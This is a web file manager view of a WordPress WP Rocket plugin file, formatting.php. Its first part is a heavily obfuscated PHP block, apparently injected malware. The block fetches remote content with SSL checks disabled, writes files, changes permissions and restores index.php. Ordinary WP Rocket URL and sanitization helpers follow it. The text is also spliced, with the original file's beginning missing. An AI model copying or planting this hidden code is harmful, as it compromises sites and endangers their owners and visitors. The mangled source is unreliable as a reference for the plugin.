芝麻web文件管理V1.00
编辑当前文件:/www/wwwroot/fashionmodelquicktrack.com/wp-content/plugins/wp-rocket/inc/functions/formatting.php
$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> '(.*)', '*' => '(.*)', '(*)' => '(.*)', '(.*)' => '(.*)', ]; foreach ( $path_components as &$path_component ) { $path_component = strtr( $path_component, $arr ); } $path = implode( '/', $path_components ); return $path; } /** * Used with array_filter to remove files without .css extension * * @since 1.0 * * @param string $file filepath to sanitize. * @return bool\string false if not a css file, filepath otherwise */ function rocket_sanitize_css( $file ) { $file = preg_replace( '#\?.*$#', '', $file ); $ext = strtolower( pathinfo( $file, PATHINFO_EXTENSION ) ); return ( 'css' === $ext || 'php' === $ext ) ? trim( $file ) : false; } /** * Used with array_filter to remove files without .js extension * * @since 1.0 * * @param string $file filepath to sanitize. * @return bool\string false if not a js file, filepath otherwise */ function rocket_sanitize_js( $file ) { $file = preg_replace( '#\?.*$#', '', $file ); $ext = strtolower( pathinfo( $file, PATHINFO_EXTENSION ) ); return ( 'js' === $ext || 'php' === $ext ) ? trim( $file ) : false; } /** * Sanitize and validate JS files to exclude from the minification. * * @since 3.3.7 * @author Remy Perona * @author Grégory Viguier * * @param string $file filepath to sanitize. * @return string */ function rocket_validate_js( $file ) { if ( rocket_is_internal_file( $file ) ) { $file = trim( $file ); $file = rocket_clean_exclude_file( $file ); $file = rocket_sanitize_js( $file ); return $file; } return rocket_remove_url_protocol( esc_url_raw( strtok( $file, '?' ) ) ); } /** * Sanitize and validate CSS files to exclude from the minification. * * @since 3.7 * * @param string $file filepath to sanitize. * @return string */ function rocket_validate_css( $file ) { if ( rocket_is_internal_file( $file ) ) { return rocket_sanitize_css( rocket_clean_exclude_file( trim( $file ) ) ); } return rocket_remove_url_protocol( esc_url_raw( strtok( $file, '?' ) ) ); } /** * Check if the passed value is an internal URL (default domain or CDN/Multilingual). * * @since 3.3.7 * * @param string $file string to test. * @return bool */ function rocket_is_internal_file( $file ) { $file_host = wp_parse_url( rocket_add_url_protocol( $file ), PHP_URL_HOST ); if ( empty( $file_host ) ) { return false; } /** * Filters the allowed hosts for optimization * * @since 3.4 * * @param array $hosts Allowed hosts. * @param array $zones Zones to check available hosts. */ $hosts = apply_filters( 'rocket_cdn_hosts', [], [ 'all', 'css_and_js', 'css', 'js' ] ); $hosts[] = wp_parse_url( content_url(), PHP_URL_HOST ); $langs = get_rocket_i18n_uri(); // Get host for all langs. if ( ! empty( $langs ) ) { foreach ( $langs as $lang ) { $hosts[] = wp_parse_url( $lang, PHP_URL_HOST ); } } $hosts = array_unique( $hosts ); if ( empty( $hosts ) ) { return false; } return in_array( $file_host, $hosts, true ); } /** * Sanitize a setting value meant for a textarea. * * @since 3.3.7 * * @param string $field The field’s name. Can be one of the following: * 'exclude_css', 'exclude_inline_js', 'exclude_js', 'cache_reject_uri', * 'cache_reject_ua', 'cache_purge_pages', 'cdn_reject_files'. * @param array|string $value The value to sanitize. * @return array|null */ function rocket_sanitize_textarea_field( $field, $value ) { $fields = [ 'cache_purge_pages' => [ 'esc_url', 'rocket_clean_exclude_file', 'rocket_clean_wildcards' ], // Pattern. 'cache_reject_cookies' => [ 'rocket_sanitize_key' ], 'cache_reject_ua' => [ 'rocket_sanitize_ua', 'rocket_clean_wildcards' ], // Pattern. 'cache_reject_uri' => [ 'esc_url', 'rocket_clean_exclude_file', 'rocket_clean_wildcards' ], // Pattern. 'cache_query_strings' => [ 'rocket_sanitize_key' ], 'cdn_reject_files' => [ 'rocket_clean_exclude_file', 'rocket_clean_wildcards' ], // Pattern. 'exclude_css' => [ 'rocket_validate_css', 'rocket_clean_wildcards' ], // Pattern. 'exclude_inline_js' => [ 'sanitize_text_field' ], 'exclude_defer_js' => [ 'sanitize_text_field' ], 'exclude_js' => [ 'rocket_validate_js', 'rocket_clean_wildcards' ], // Pattern. 'exclude_lazyload' => [ 'sanitize_text_field' ], 'delay_js_exclusions' => [ 'sanitize_text_field', 'rocket_clean_wildcards' ], 'remove_unused_css_safelist' => [ 'sanitize_text_field', 'rocket_clean_wildcards' ], 'preload_excluded_uri' => [ 'sanitize_text_field', 'rocket_clean_wildcards' ], ]; if ( ! isset( $fields[ $field ] ) ) { return null; } $sanitizations = $fields[ $field ]; if ( ! is_array( $value ) ) { $value = explode( "\n", $value ); } $value = array_map( 'trim', $value ); $value = array_filter( $value ); if ( ! $value ) { return []; } // Sanitize. foreach ( $sanitizations as $sanitization ) { $value = array_filter( array_map( $sanitization, $value ) ); } return array_unique( $value ); } /** * Used with array_filter to remove files without .xml extension * * @since 2.8 * @author Remy Perona * * @param string $file filepath to sanitize. * @return string|boolean filename or false if not xml */ function rocket_sanitize_xml( $file ) { $file = preg_replace( '#\?.*$#', '', $file ); $ext = strtolower( pathinfo( $file, PATHINFO_EXTENSION ) ); return ( 'xml' === $ext ) ? trim( $file ) : false; } /** * Sanitizes a string key like the sanitize_key() WordPress function without forcing lowercase. * * @since 2.7 * * @param string $key Key string to sanitize. * @return string */ function rocket_sanitize_key( $key ) { $key = preg_replace( '/[^a-z0-9_\-]/i', '', $key ); return $key; } /** * Used to sanitize values of the "Never send cache pages for these user agents" option. * * @since 2.6.4 * * @param string $user_agent User Agent string. * @return string */ function rocket_sanitize_ua( $user_agent ) { $user_agent = preg_replace( '/[^a-z0-9._\(\)\*\-\/\s\x5c]/i', '', $user_agent ); return $user_agent; } /** * Get an url without HTTP protocol * * @since 1.3.0 * * @param string $url The URL to parse. * @param bool $no_dots (default: false). * @return string $url The URL without protocol */ function rocket_remove_url_protocol( $url, $no_dots = false ) { $url = preg_replace( '#^(https?:)?\/\/#im', '', $url ); /** This filter is documented in inc/front/htaccess.php */ if ( apply_filters( 'rocket_url_no_dots', $no_dots ) ) { $url = str_replace( '.', '_', $url ); } return $url; } /** * Add HTTP protocol to an url that does not have it. * * @since 2.2.1 * * @param string $url The URL to parse. * * @return string $url The URL with protocol. */ function rocket_add_url_protocol( $url ) { // Bail out if the URL starts with http:// or https://. if ( strpos( $url, 'http://' ) !== false || strpos( $url, 'https://' ) !== false ) { return $url; } if ( substr( $url, 0, 2 ) !== '//' ) { $url = '//' . $url; } return set_url_scheme( $url ); } /** * Set the scheme for a internal URL * * @since 2.6 * * @param string $url Absolute url that includes a scheme. * @return string $url URL with a scheme. */ function rocket_set_internal_url_scheme( $url ) { $tmp_url = set_url_scheme( $url ); if ( rocket_extract_url_component( $tmp_url, PHP_URL_HOST ) === rocket_extract_url_component( home_url(), PHP_URL_HOST ) ) { $url = $tmp_url; } return $url; } /** * Get the domain of an URL without subdomain * (ex: rocket_get_domain( 'http://www.geekpress.fr' ) return geekpress.fr * * @source : http://stackoverflow.com/a/15498686 * @since 2.7.3 undeprecated & updated * @since 1.0 * * @param string $url URL to parse. * @return string|bool Domain or false */ function rocket_get_domain( $url ) { // Add URL protocol if the $url doesn't have one to prevent issue with parse_url. $url = rocket_add_url_protocol( trim( $url ) ); $url_array = wp_parse_url( $url ); $host = $url_array['host']; /** * Filters the tld max range for edge cases * * @since 2.7.3 * * @param string Max range number */ $match = '/(?P
[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,' . apply_filters( 'rocket_get_domain_preg', '6' ) . '})$/i'; if ( preg_match( $match, $host, $regs ) ) { return $regs['domain']; } return false; } /** * Extract and return host, path, query and scheme of an URL * * @since 2.11.5 Supports UTF-8 URLs * @since 2.1 Add $query variable * @since 2.0 * * @param string $url The URL to parse. * @return array Components of an URL */ function get_rocket_parse_url( $url ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals if ( ! is_string( $url ) ) { return; } $encoded_url = preg_replace_callback( '%[^:/@?&=#]+%usD', function ( $matches ) { return rawurlencode( $matches[0] ); }, $url ); $url = wp_parse_url( $encoded_url ); $host = isset( $url['host'] ) ? strtolower( urldecode( $url['host'] ) ) : ''; $path = isset( $url['path'] ) ? urldecode( $url['path'] ) : ''; $scheme = isset( $url['scheme'] ) ? urldecode( $url['scheme'] ) : ''; $query = isset( $url['query'] ) ? urldecode( $url['query'] ) : ''; $fragment = isset( $url['fragment'] ) ? urldecode( $url['fragment'] ) : ''; /** * Filter components of an URL * * @since 2.2 * * @param array Components of an URL */ return (array) apply_filters( 'rocket_parse_url', [ 'host' => $host, 'path' => $path, 'scheme' => $scheme, 'query' => $query, 'fragment' => $fragment, ] ); } /** * Extract a component from an URL. * * @since 2.11 * @author Remy Perona * * @param string $url URL to parse and extract component of. * @param string $component URL component to extract using constant as in parse_url(). * @return string extracted component */ function rocket_extract_url_component( $url, $component ) { return _get_component_from_parsed_url_array( wp_parse_url( $url ), $component ); } /** * Returns realpath to file (used for relative path with /../ in it or not-yet existing file) * * @since 2.11 * @author Remy Perona * * @param string $file File to determine realpath for. * @return string Resolved file path */ function rocket_realpath( $file ) { $wrapper = null; // Strip the protocol. if ( rocket_is_stream( $file ) ) { list( $wrapper, $file ) = explode( '://', $file, 2 ); } $path = []; foreach ( explode( '/', $file ) as $part ) { if ( '' === $part || '.' === $part ) { continue; } if ( '..' !== $part ) { array_push( $path, $part ); } elseif ( count( $path ) > 0 ) { array_pop( $path ); } } $file = join( '/', $path ); if ( null !== $wrapper ) { return $wrapper . '://' . $file; } $prefix = 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) ? '' : '/'; return $prefix . $file; } /** * Converts an URL to an absolute path. * * @since 2.11.7 * @author Remy Perona * * @param string $url URL to convert. * @param array $zones Zones to check available hosts. * @return string|bool */ function rocket_url_to_path( $url, array $zones = [ 'all' ] ) { $wp_content_dir = rocket_get_constant( 'WP_CONTENT_DIR' ); $root_dir = trailingslashit( dirname( $wp_content_dir ) ); $content_url_host = wp_parse_url( content_url(), PHP_URL_HOST ); if ( null !== $content_url_host ) { $root_url = str_replace( wp_basename( $wp_content_dir ), '', content_url() ); } else { $root_url = site_url( '/' ); } $url_host = wp_parse_url( $url, PHP_URL_HOST ); // relative path. if ( null === $url_host ) { $subdir_levels = substr_count( preg_replace( '/https?:\/\//', '', site_url() ), '/' ); $url = trailingslashit( site_url() . str_repeat( '/..', $subdir_levels ) ) . ltrim( $url, '/' ); } /** * Filters the URL before converting it to a path * * @since 3.5.3 * @author Remy Perona * * @param string $url URL of the asset. * @param array $zones CDN zones corresponding to the current assets type. */ $url = apply_filters( 'rocket_asset_url', $url, $zones ); $url = rawurldecode( $url ); $root_url = preg_replace( '/^https?:/', '', $root_url ); $url = preg_replace( '/^https?:/', '', $url ); $file = str_replace( $root_url, $root_dir, $url ); $file = rocket_realpath( $file ); /** * Filters the absolute path to the asset file * * @since 3.3 * @author Remy Perona * * @param string $file Absolute path to the file. * @param string $url URL of the asset. */ $file = apply_filters( 'rocket_url_to_path', $file, $url ); if ( ! rocket_direct_filesystem()->is_readable( $file ) ) { return false; } return $file; } /** * Simple helper to get some external URLs. * * @since 2.10.10 * @author Grégory Viguier * * @param string $target What we want. * @param array $query_args An array of query arguments. * @return string The URL. */ function rocket_get_external_url( $target, $query_args = [] ) { $site_url = WP_ROCKET_WEB_MAIN; switch ( $target ) { case 'support': $locale = function_exists( 'get_user_locale' ) ? get_user_locale() : get_locale(); $paths = [ 'default' => 'support', 'fr_FR' => 'fr/support', 'fr_CA' => 'fr/support', 'it_IT' => 'it/supporto', 'de_DE' => 'de/support', 'es_ES' => 'es/soporte', ]; $url = isset( $paths[ $locale ] ) ? $paths[ $locale ] : $paths['default']; $url = $site_url . $url . '/'; break; case 'account': $locale = function_exists( 'get_user_locale' ) ? get_user_locale() : get_locale(); $paths = [ 'default' => 'account', 'fr_FR' => 'fr/compte', 'fr_CA' => 'fr/compte', 'it_IT' => 'it/account/', 'de_DE' => 'de/konto/', 'es_ES' => 'es/cuenta/', ]; $url = isset( $paths[ $locale ] ) ? $paths[ $locale ] : $paths['default']; $url = $site_url . $url . '/'; break; default: $url = $site_url; } if ( $query_args ) { $url = add_query_arg( $query_args, $url ); } return $url; }